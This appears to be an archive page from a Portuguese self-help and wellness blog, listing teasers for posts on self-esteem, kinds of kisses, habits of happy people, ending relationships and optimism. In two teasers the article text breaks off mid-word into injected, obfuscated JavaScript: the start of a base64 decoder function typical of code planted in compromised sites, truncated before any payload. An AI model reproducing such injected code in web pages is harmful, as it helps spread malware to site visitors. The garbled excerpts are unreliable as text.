Dicas essenciais para fortalecer a sua autoestima

Ago 23, 2016 | Saúde e bem estar

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Dicas essenciais para fortalecer a sua autoestima, por Maria Palha, psicóloga A expressão «autoestima» normalmente responde à pergunta “como me sinto com quem sou?”. Bem? Mal? Mais ou menos? A nossa autoestima é, em boa parte, construída durante os anos de...

As 6 formas diferentes de beijar

Ago 1, 2016 | À descoberta, Dicas úteis

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Beijar é bom e há muitas formas diferentes de beijar. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

7 Hábitos das pessoas felizes

Fev 16, 2016 | Equilíbrio, Saúde e bem estar

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7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

Pôr um ponto final numa relação não é o fim.

Jan 9, 2016 | Equilíbrio, Saúde e bem estar

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Pôr um ponto final numa relação não é o fim. Um testemunho que nos ensina a tirar partido da aprendizagem O que não nos mata torna-nos mais fortes! Na maior parte das vezes, arrastamos relações que sabemos que estão condenadas à partida, por variantes de um mesmo...

A vida traz-nos sempre o melhor

Dez 8, 2015 | Equilíbrio, Saúde e bem estar

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A vida traz-nos sempre o melhor, seja oportunidades ou desafios.  O que tem recebido da vida todos os dias? Oportunidades ou desafios? Sorrisos, surpresas, amor, carinho, desafios, presentes, dádivas… ou indelicadezas, surpresas desagradáveis, traições,...

Ser feliz! Tenha uma atitude proativa e otimista

Nov 7, 2015 | Equilíbrio, Saúde e bem estar

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Tenha uma atitude proativa e otimista! Tome nota de algumas sugestões que vão, com toda a certeza, fazê-lo mais feliz. Mude a sua atitude para melhor! Não tire conclusões precipitadas. Não faça julgamentos precipitados sobre as pessoas e sobre os acontecimentos....